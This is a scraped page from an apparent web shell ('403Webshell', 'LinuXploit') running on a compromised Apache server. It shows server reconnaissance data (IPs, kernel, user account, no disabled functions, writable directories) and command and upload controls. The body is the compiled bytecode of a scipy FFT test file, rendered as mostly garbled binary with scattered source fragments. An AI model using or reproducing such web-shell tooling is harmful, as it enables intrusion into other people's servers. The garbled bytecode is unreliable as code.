403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/fft/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/fft/tests/__pycache__/test_numpy.cpython-311.pyc
�

d�c`8���ddlZddlZddlZddlZddlZddlmZddlm	Z	m
Z
mZddlmZ
ddlmZd�ZGd�d��ZGd�d	��Zej�d
ejejejejejejg��ej�ddd
g��ej�dejejejejejejg��d�������Z Gd�d��Z!ej�dejejej"ej#g��d���Z$Gd�d��Z%dS)�N)�random)�assert_array_almost_equal�assert_array_equal�assert_allclose)�raisesc�4�t|��}dtjztj|��t	|��zz}tj|���dd��|z}tj|tj|��zd���S)Ny��������axis)�len�np�pi�arange�float�reshape�sum�exp)�x�L�phases   �</usr/lib/python3/dist-packages/scipy/fft/tests/test_numpy.py�fft1r
ss���A���A����I�r�y��|�|�E�!�H�H�,�-�E��I�a�L�L� � ��Q�'�'�%�/�E�
�6�!�B�F�5�M�M�/��*�*�*�*�c��eZdZd�ZdS)�TestFFTShiftc�L�tttjgd�d��dS)N)r
��r)�
assert_raises�
ValueError�fft)�selfs r�
test_fft_nzTestFFTShift.test_fft_ns"���j�#�'�9�9�9�a�8�8�8�8�8rN)�__name__�
__module__�__qualname__r$�rrrrs#������9�9�9�9�9rrc�f�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
�Zd�Z
d�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zej�dejejejejejejg��d���Z ej�dej!ej"ej#ej$ej%ej&ejejejejejejg��d���Z'd�Z(ej�de)j*e)j+e)j,e)j-g��d���Z.dS)�	TestFFT1Dc
��d}t|��dt|��zz}t|��}td|��D]�}ttjtj|d|�����|d|�d���ttjtj|d|���|��|d|�d�����dS)Ni��?r
r�)�decimal)r�rangerr"�ifft�irfft�rfft)r#�maxlenr�xr�is     r�
test_identityzTestFFT1D.test_identitys������6�N�N�R��v���.�.��
�F�^�^���q����	;�	;�A�%�c�h�s�w�q��1��v���&?�&?��1�Q�3��.0�
2�
2�
2�
2�%�c�i����A�a�C��0A�0A�!�&D�&D�&(��1��g�r�
;�
;�
;�
;�
;�	;�	;rc��td��dtd��zz}t|��}t|tj|����t|tj|d�����t|t	jd��ztj|d�����t|dztj|d�����dS)N�r,�backward��norm�ortho�forward)rrrr"r�sqrt�r#r�expects   r�test_fftzTestFFT1D.test_fft&s����2�J�J��F�2�J�J��&���a����!�&�#�'�!�*�*�5�5�5�!�&�#�'�!�*�*E�*E�*E�F�F�F�!�&�2�7�2�;�;�"6�"%�'�!�'�":�":�":�	<�	<�	<�!�&�2�+�s�w�q�y�/I�/I�/I�J�J�J�J�Jrc
�,�td��dtd��zz}t|tjtj|������dD]:}t|tjtj||���|������;dS)Nr8r,�r9r<r=r:)rrr"r0�r#rr;s   r�	test_ifftzTestFFT1D.test_ifft/s����2�J�J��F�2�J�J��&��!�!�S�X�c�g�a�j�j�%9�%9�:�:�:�4�	?�	?�D�%��3�8�C�G�A�D�1�1�1��=�=�=�
?�
?�
?�
?�	?�	?rc���td��dtd��zz}tjtj|d���d���}t|tj|����t|tj|d�����t|t	jd��ztj|d	�����t|dztj|d
�����dS�N�r8�r,r
rrr9r:�Xr<r=)rr"r�fft2rr>r?s   r�	test_fft2zTestFFT1D.test_fft26s����8���r�&��"2�"2�2�2��������+�+�+�!�4�4�4��!�&�#�(�1�+�+�6�6�6�!�&�#�(�1�:�*F�*F�*F�G�G�G�!�&�2�7�7�+;�+;�";�"%�(�1�7�";�";�";�	=�	=�	=�!�&�G�"4�"%�(�1�9�"=�"=�"=�	?�	?�	?�	?�	?rc���td��dtd��zz}tjtj|d���d���}t|tj|����t|tj|d�����t|tjd��ztj|d	�����t|dztj|d
�����dSrG)rr"r0r�ifft2rr>r?s   r�
test_ifft2zTestFFT1D.test_ifft2@s����8���r�&��"2�"2�2�2����#�(�1�1�-�-�-�A�6�6�6��!�&�#�)�A�,�,�7�7�7�!�&�#�)�A�J�*G�*G�*G�H�H�H�!�&�2�7�7�+;�+;�";�"%�)�A�G�"<�"<�"<�	>�	>�	>�!�&�G�"4�"%�)�A�I�">�">�">�	@�	@�	@�	@�	@rc��td��dtd��zz}tjtjtj|d���d���d���}t|tj|����t|tj|d�����t|t	jd	��ztj|d
�����t|d	ztj|d�����dS�N�r8rI�
r,rrr
rr9r:�pr<r=)rr"r�fftnrr>r?s   r�	test_fftnzTestFFT1D.test_fftnJs����<� � �2�f�\�&:�&:�#:�:����������!3�!3�!3�!�<�<�<�1�E�E�E��!�&�#�(�1�+�+�6�6�6�!�&�#�(�1�:�*F�*F�*F�G�G�G�!�&�2�7�<�+@�+@�"@�"%�(�1�7�";�";�";�	=�	=�	=�!�&�L�"9�"%�(�1�9�"=�"=�"=�	?�	?�	?�	?�	?rc�6�td��dtd��zz}tjtjtj|d���d���d���}t|tj|����t|tj|d�����ttj|��tjd	��ztj|d
�����t|d	ztj|d�����dSrQ)rr"r0r�ifftnrr>r?s   r�
test_ifftnzTestFFT1D.test_ifftnTs���<� � �2�f�\�&:�&:�#:�:����#�(�3�8�A�A�#6�#6�#6�Q�?�?�?�a�H�H�H��!�&�#�)�A�,�,�7�7�7�!�&�#�)�A�J�*G�*G�*G�H�H�H�!�#�)�A�,�,����1F�1F�"F�"%�)�A�G�"<�"<�"<�	>�	>�	>�!�&�L�"9�"%�)�A�I�">�">�">�	@�	@�	@�	@�	@rc
��td��}|jd|jzfD]�}dD]J}ttj|||���d|dzdz�tj|||������Kttj||���tj|��ztj||d�������dS)N�r)Nr9r<r=��nr;r
)r]r<)r�sizerr"r2rr>)r#rr]r;s    r�	test_rfftzTestFFT1D.test_rfft^s����2�J�J���&�!�A�F�(�#�	F�	F�A�>�
1�
1��)��G�A���.�.�.�{��A����{�;��H�Q�!�$�/�/�/�1�1�1�1�
&�c�h�q�A�&6�&6�&6������&C�&)�h�q�A�G�&D�&D�&D�
F�
F�
F�
F�	F�	Frc
��td��}t|tjtj|������dD]:}t|tjtj||���|������;dS)Nr8rCr:)rrr"r1r2rDs   r�
test_irfftzTestFFT1D.test_irffths����2�J�J��!�!�S�Y�s�x��{�{�%;�%;�<�<�<�4�	A�	A�D�%��3�9�S�X�a�d�3�3�3�$�?�?�?�
A�
A�
A�
A�	A�	Arc��td��}tj|��dd�dd�f}t|tj|����t|tj|d�����t|tjd��ztj|d�����t|dztj|d�����dS�NrH�r9r:rJr<r=)rr"rKr�rfft2rr>r?s   r�
test_rfft2zTestFFT1D.test_rfft2os����8������!���Q�Q�Q����V�$��!�&�#�)�A�,�,�7�7�7�!�&�#�)�A�J�*G�*G�*G�H�H�H�!�&�2�7�7�+;�+;�";�"%�)�A�G�"<�"<�"<�	>�	>�	>�!�&�G�"4�"%�)�A�I�">�">�">�	@�	@�	@�	@�	@rc
��td��}t|tjtj|������dD]:}t|tjtj||���|������;dS�NrHrCr:)rrr"�irfft2rerDs   r�test_irfft2zTestFFT1D.test_irfft2ys����8����!�!�S�Z��	�!���%=�%=�>�>�>�4�	C�	C�D�%��3�:�c�i���5�5�5�D�A�A�A�
C�
C�
C�
C�	C�	Crc��td��}tj|��dd�dd�dd�f}t|tj|����t|tj|d�����t|tjd��ztj|d�����t|dztj|d�����dS�NrR�r9r:rTr<r=)rr"rUr�rfftnrr>r?s   r�
test_rfftnzTestFFT1D.test_rfftn�s����<� � ����!���Q�Q�Q����2�A�2�X�&��!�&�#�)�A�,�,�7�7�7�!�&�#�)�A�J�*G�*G�*G�H�H�H�!�&�2�7�<�+@�+@�"@�"%�)�A�G�"<�"<�"<�	>�	>�	>�!�&�L�"9�"%�)�A�I�">�">�">�	@�	@�	@�	@�	@rc
��td��}t|tjtj|������dD]:}t|tjtj||���|������;dS�NrRrCr:)rrr"�irfftnrnrDs   r�test_irfftnzTestFFT1D.test_irfftn�s����<� � ��!�!�S�Z��	�!���%=�%=�>�>�>�4�	C�	C�D�%��3�:�c�i���5�5�5�D�A�A�A�
C�
C�
C�
C�	C�	Crc��td��dtd��zz}tjtd��|td��f��}tj||ddd����f��}t	j|��}t|t	j|����t|t	j|d�����t|tjd��zt	j|d�����t|dzt	j|d	�����dS)
N�r,r
r	r9r:r8r<r=)rr�concatenate�conjr"r�hfftr>)r#r�x_hermr@s    r�	test_hfftzTestFFT1D.test_hfft�s���2�J�J��F�2�J�J��&��������A�v�a�y�y� 9�:�:���N�F�A�d�d��d�G�L�L�N�N�3�4�4��������!�&�#�(�6�*:�*:�;�;�;�!�&�#�(�6�
�*K�*K�*K�L�L�L�!�&�2�7�2�;�;�"6�"%�(�6��"@�"@�"@�	B�	B�	B�!�&�2�+�"%�(�6�	�"B�"B�"B�	D�	D�	D�	D�	Drc
���td��dtd��zz}tjtd��|td��f��}tj||ddd����f��}t	|tjtj|������dD]:}t	|tjtj||���|������;dS)Nrur,r
r	rCr:)rrrvrwrr"�ihfftrx)r#rryr;s    r�
test_ihfftzTestFFT1D.test_ihfft�s����2�J�J��F�2�J�J��&��������A�v�a�y�y� 9�:�:���N�F�A�d�d��d�G�L�L�N�N�3�4�4��!�&�#�)�C�H�V�4D�4D�*E�*E�F�F�F�4�	K�	K�D�%���	�#�(�6��"=�"=�"=�D�I�I�I�
K�
K�
K�
K�	K�	Krc
��td��}t|tjtj|������dD]:}t|tjtj||���|������;dSrh)rrr"�hfft2�ihfft2rDs   r�
test_hfft2zTestFFT1D.test_hfft2�s����8����!�!�S�Y�s�z�!�}�}�%=�%=�>�>�>�4�	C�	C�D�%��3�9�S�Z���5�5�5�D�A�A�A�
C�
C�
C�
C�	C�	Crc��td��}tj|��dd�dd�f}t|tj|����t|tj|d�����t|tjd��ztj|d�����t|dztj|d�����dSrc)rr"rNrr�rr>r?s   r�test_ihfft2zTestFFT1D.test_ihfft2�s����8������1���a�a�a��"��f�%��!�&�#�*�Q�-�-�8�8�8�!�&�#�*�Q�Z�*H�*H�*H�I�I�I�!�&�2�7�7�+;�+;�";�"%�*�Q�W�"=�"=�"=�	?�	?�	?�!�&�G�"4�"%�*�Q�Y�"?�"?�"?�	A�	A�	A�	A�	Arc
��td��}t|tjtj|������dD]:}t|tjtj||���|������;dSrq)rrr"�hfftn�ihfftnrDs   r�
test_hfftnzTestFFT1D.test_hfftn�s����<� � ��!�!�S�Y�s�z�!�}�}�%=�%=�>�>�>�4�	C�	C�D�%��3�9�S�Z���5�5�5�D�A�A�A�
C�
C�
C�
C�	C�	Crc��td��}tj|��dd�dd�dd�f}t|tj|����t|tj|d�����t|tjd��ztj|d�����t|dztj|d�����dSrl)rr"rXrr�rr>r?s   r�test_ihfftnzTestFFT1D.test_ihfftn�s����<� � ����1���a�a�a����B�Q�B�h�'��!�&�#�*�Q�-�-�8�8�8�!�&�#�*�Q�Z�*H�*H�*H�I�I�I�!�&�2�7�<�+@�+@�"@�"%�*�Q�W�"=�"=�"=�	?�	?�	?�!�&�L�"9�"%�*�Q�Y�"?�"?�"?�	A�	A�	A�	A�	Ar�opc���td��}gd�}|D]P}|tj||����}tj|||���|��}t||���QdS)NrR)�rr
r�rrr
)r
rr�r
rr)rrr
)rr
r��axes)rr�	transposer)r#r�rr��a�op_tr�tr_ops       r�	test_axeszTestFFT1D.test_axes�s���
�<� � ��Q�Q�Q���	4�	4�A��B�r�|�A�q�)�)�*�*�E��L���A�A�����2�2�E�%�e�U�3�3�3�3�	4�	4rc
�j���td���gd�}|D]��t��fd�t�j��D����}|t	j����|dd�d���}t	j|�|dd��dd�������}t
||����dS)N)���)r�r�r�c�b��g|]+}|�dd�vrd�j|zn�j|��,S)Nr)�shape)�.0�axr�rs  ��r�
<listcomp>z9TestFFT1D.test_axes_subset_with_shape.<locals>.<listcomp>�sM���4�4�4�!�-/�!�B�Q�B�%�K�K�1�Q�W�R�[�=�=�Q�W�R�[�4�4�4rr�rr
)�sr�)r�tupler/�ndimrr�r)r#r�r�r�r�r�r�rs      @@r�test_axes_subset_with_shapez%TestFFT1D.test_axes_subset_with_shape�s�����
�:����0�0�0���	4�	4�A��4�4�4�4�4�%*�1�6�]�]�4�4�4�5�5�E��B�r�|�A�q�)�)�U�2�A�2�Y�V�D�D�D�E��L���A��r��r���2�A�2��!?�!?�!?��C�C�E�%�e�U�3�3�3�3�	4�	4rc	���td��}tj�|��}|jdz}t
jt
jft
jt
jft
j	t
j
fg}|D]g\}}|jd|jzfD]P}dD]K}||||���}||||���}t|tj�|�����L�Q�hdS)Nr8rrCr\)rr�linalgr;r^r"r0r2r1r|rxr)	r#r�x_normr]�
func_pairs�forw�backr;�tmps	         r�test_all_1d_norm_preservingz%TestFFT1D.test_all_1d_norm_preserving�s���2�J�J�������"�"��
�F�Q�J���w���)��x���+��y�#�(�+�	�
�%�	C�	C�J�D�$��f�a���h�'�
C�
C��<�C�C�D��$�q�A�D�1�1�1�C��$�s�a�d�3�3�3�C�-�f�.0�i�n�n�S�.A�.A�C�C�C�C�C�
C�	C�	Cr�dtypec��td���|��}ttjtj|����|��ttjtj|����|��ttjtj|��t|����|��dS)Nr8)
r�astyperr"r0r1r2rxr|r
)r#r�rs   r�test_dtypeszTestFFT1D.test_dtypes�s���
�2�J�J���e�$�$��!�#�(�3�7�1�:�:�"6�"6��:�:�:�!�#�)�C�H�Q�K�K�"8�"8�!�<�<�<�!�#�(�3�9�Q�<�<��Q���"@�"@�!�D�D�D�D�DrN)/r%r&r'r6rArErLrOrVrYr_rarfrjrorsrzr}r�r�r�r��pytest�mark�parametrizer"rUrXrnrrr�r�r�rKrNrerirr�r�r�r�half�single�double�
longdoubler�r(rrr*r*sz������;�;�;�K�K�K�?�?�?�?�?�?�@�@�@�?�?�?�@�@�@�F�F�F�A�A�A�@�@�@�C�C�C�@�@�@�C�C�C�
D�
D�
D�K�K�K�C�C�C�A�A�A�C�C�C�A�A�A��[���T�C�H�c�i�$'�I�s�z�$'�I�s�z�$;�<�<�4�4�<�<�4��[���T�C�H�c�i�$'�I�s�z�$'�I�s�z�$'�H�c�i�$'�I�s�z�$'�I�s�z�$;�<�<�
4�
4�
<�<�
4�C�C�C�&�[���W�r�w��	�2�9�')�}�'6�7�7�E�E�7�7�E�E�Err*r��order�Fznon-contiguousr"c���tj�d��}|�ddd���|d���}|dkrtj|��}n(|ddd�}tj|ddd���}|j�d	��r>td
��D],}|||���}|||���}t||���-dS|j�d��rfgd
�}	|j�d��r|	�gd���|	D],}
|||
���}|||
���}t||���-dSt�)N�*r���
F)�copyr�r	r"rr)rKrU)r�)r
r)rrrU))r)r
)rNr�)
rr�RandomState�randr��asfortranarray�ascontiguousarrayr%�endswithr/r�extendr!)r�r�r"�rng�X�Yr�X_res�Y_resr�r�s           r�test_fft_with_orderr�s���
�)�
�
��
#�
#�C�����A�r���!�!�%�e�!�4�4�A���|�|���a� � ���
�d�d��d�G��� ��4�4�R�4��)�)��
�|���U�#�#���!�H�H�	4�	4�D��C���%�%�%�E��C���%�%�%�E�%�e�U�3�3�3�3�	4�	4�

��	�	�/�	0�	0�	�'�'�'���<� � ��(�(�	2��K�K�0�0�0�1�1�1��	4�	4�B��C���O�O�O�E��C���O�O�O�E�%�e�U�3�3�3�3�	4�	4�
�rc�@�eZdZdZdZd�Zd�Zd�Zd�Zd�Z	d�Z
d	�Zd
S)�TestFFTThreadSafer�)i ��c�4������fd��tj������}���fd�t|j��D��}d�|D��d�|D��t|j��D]'}t	��d���|d���(dS)Nc�8��|��|���dS�N)�put)�args�q�funcs  �r�workerz.TestFFTThreadSafe._test_mtsame.<locals>.worker-s!���
�E�E�$�$��+�����rc�@��g|]}tj���f�����S))�targetr�)�	threading�Thread)r�r5r�r�r�s  ���rr�z2TestFFTThreadSafe._test_mtsame.<locals>.<listcomp>4s=���
+�
+�
+���
�V�4��)�
<�
<�
<�
+�
+�
+rc�6�g|]}|�����Sr()�start�r�rs  rr�z2TestFFTThreadSafe._test_mtsame.<locals>.<listcomp>6s �����q��������rc�6�g|]}|�����Sr()�joinr�s  rr�z2TestFFTThreadSafe._test_mtsame.<locals>.<listcomp>8s �����a��������r�)�timeoutz6Function returned wrong value in multithreaded context)�queue�Queuer/�threadsr�get)r#r�r��expected�tr5r�r�s ``   @@r�_test_mtsamezTestFFTThreadSafe._test_mtsame,s�������	�	�	�	�	�
�K�M�M���4��;��
+�
+�
+�
+�
+�
+��D�L�)�)�
+�
+�
+����A�������1������t�|�$�$�	J�	J�A��q�u�u�Q�u�/�/��H�
J�
J�
J�
J�	J�	Jrc��tj|jtj���}|�t
j|��dS)N)r�)r�ones�input_shape�
complex128r�r"�r#r�s  rrAzTestFFTThreadSafe.test_fft>s9���G�D�$�B�M�:�:�:�����#�'�1�%�%�%�%�%rc�z�tj|jd��}|�tj|��dS�Ny�?)r�fullr�r�r"r0r�s  rrEzTestFFTThreadSafe.test_ifftBs4���G�D�$�d�+�+�����#�(�A�&�&�&�&�&rc�x�tj|j��}|�tj|��dSr�)rr�r�r�r"r2r�s  rr_zTestFFTThreadSafe.test_rfftFs2���G�D�$�%�%�����#�(�A�&�&�&�&�&rc�z�tj|jd��}|�tj|��dSr�)rr�r�r�r"r1r�s  rrazTestFFTThreadSafe.test_irfftJs4���G�D�$�d�+�+�����#�)�Q�'�'�'�'�'rc��tj|jtj��}|�t
j|��dSr�)rr�r��	complex64r�r"rxr�s  rrzzTestFFTThreadSafe.test_hfftNs6���G�D�$�b�l�3�3�����#�(�A�&�&�&�&�&rc�x�tj|j��}|�tj|��dSr�)rr�r�r�r"r|r�s  rr}zTestFFTThreadSafe.test_ihfftRs2���G�D�$�%�%�����#�)�Q�'�'�'�'�'rN)r%r&r'r�r�r�rArEr_rarzr}r(rrr�r�(s��������G��K�J�J�J�$&�&�&�'�'�'�'�'�'�(�(�(�'�'�'�(�(�(�(�(rr�r�c��tjd��5}|�|d�td��D����}ddd��n#1swxYwY|t	jd����}|D]}t
||���dS)Nrc�6�g|]}tjd����S)�d)rr�)r��_s  rr�z%test_multiprocess.<locals>.<listcomp>\s ��:�:�:�A�2�7�3�<�<�:�:�:rr�r�)�multiprocessing�Pool�mapr/rr�r)r��p�resr@rs     r�test_multiprocessr�Ws���
�	�a�	 �	 �<�A��e�e�D�:�:��q���:�:�:�;�;��<�<�<�<�<�<�<�<�<�<�<����<�<�<�<��T�"�'�#�,�,�
�
�F�
�#�#����6�"�"�"�"�#�#s�.A�A�Ac��eZdZd�ZdS)�
TestIRFFTNc��tj�d��\}}|d|zz}d}tj||���dS)N)rr�r�� r,)���r�)rrr"rr)r#�ar�air�r�s     r�test_not_last_axis_successz%TestIRFFTN.test_not_last_axis_successesJ����!�!�.�1�1���B���B��J����	�
�1�4� � � � � � rN)r%r&r'rr(rrr�r�cs#������!�!�!�!�!rr�)&r�r�r��numpyrr��numpy.randomr�
numpy.testingrrrrr �	scipy.fftr"rrr*r�r��float32�float64�	longfloatr�r��longcomplexrKrUr0rNrXr�r�r2r1r�r�r(rr�<module>rsh������������������
�
�
�
�������
�
�
�
�
�
�
�
�
�
�+�*�*�*�*�*�������+�+�+�9�9�9�9�9�9�9�9�eE�eE�eE�eE�eE�eE�eE�eE�P�����	��R�Z���	��r�}�b�n�	6�7�7������3�(8�"9�:�:�����
�	��#�(�C�H�	��3�9�c�i�	)�*�*���	*�*�;�:�	7�7��:,(�,(�,(�,(�,(�,(�,(�,(�^�����#�'�3�8�S�X�s�y�!I�J�J�#�#�K�J�#�	!�	!�	!�	!�	!�	!�	!�	!�	!�	!r

Youez - 2016 - github.com/yon3zu
LinuXploit